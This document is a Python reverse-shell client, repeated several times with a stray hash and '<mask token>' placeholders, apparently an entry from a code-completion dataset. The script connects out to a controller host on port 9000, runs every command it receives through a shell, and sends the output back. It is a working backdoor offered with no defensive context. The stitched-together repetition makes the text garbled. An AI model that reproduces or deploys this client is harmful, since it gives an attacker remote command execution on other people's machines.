#!/usr/bin/env python

import socket
import subprocess


sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect(("ip as in the server_tcp.py",9000))
while(1):
	command=sock.recv(2048)

	if 'terminate' in command:
		sock.send('terminate')
		break
	else:
		cmd = subprocess.Popen(command,shell=1,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)
		sock.send(cmd.stdout.read())
		sock.send(cmd.stderr.read())



00d72b34ffa58c4d70f6a3781f7d8848d8a3fc57
<mask token>

<mask token>
sock.connect(('ip as in the server_tcp.py', 9000))
while 1:
    command = sock.recv(2048)
    if 'terminate' in command:
        sock.send('terminate')
        break
    else:
        cmd = subprocess.Popen(command, shell=1, stdout=subprocess.PIPE,
            stderr=subprocess.PIPE, stdin=subprocess.PIPE)
        sock.send(cmd.stdout.read())
        sock.send(cmd.stderr.read())

<mask token>
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('ip as in the server_tcp.py', 9000))
while 1:
    command = sock.recv(2048)
    if 'terminate' in command:
        sock.send('terminate')
        break
    else:
        cmd = subprocess.Popen(command, shell=1, stdout=subprocess.PIPE,
            stderr=subprocess.PIPE, stdin=subprocess.PIPE)
        sock.send(cmd.stdout.read())
        sock.send(cmd.stderr.read())

import socket
import subprocess
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('ip as in the server_tcp.py', 9000))
while 1:
    command = sock.recv(2048)
    if 'terminate' in command:
        sock.send('terminate')
        break
    else:
        cmd = subprocess.Popen(command, shell=1, stdout=subprocess.PIPE,
            stderr=subprocess.PIPE, stdin=subprocess.PIPE)
        sock.send(cmd.stdout.read())
        sock.send(cmd.stderr.read())

#!/usr/bin/env python

import socket
import subprocess


sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect(("ip as in the server_tcp.py",9000))
while(1):
	command=sock.recv(2048)

	if 'terminate' in command:
		sock.send('terminate')
		break
	else:
		cmd = subprocess.Popen(command,shell=1,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)
		sock.send(cmd.stdout.read())
		sock.send(cmd.stderr.read())


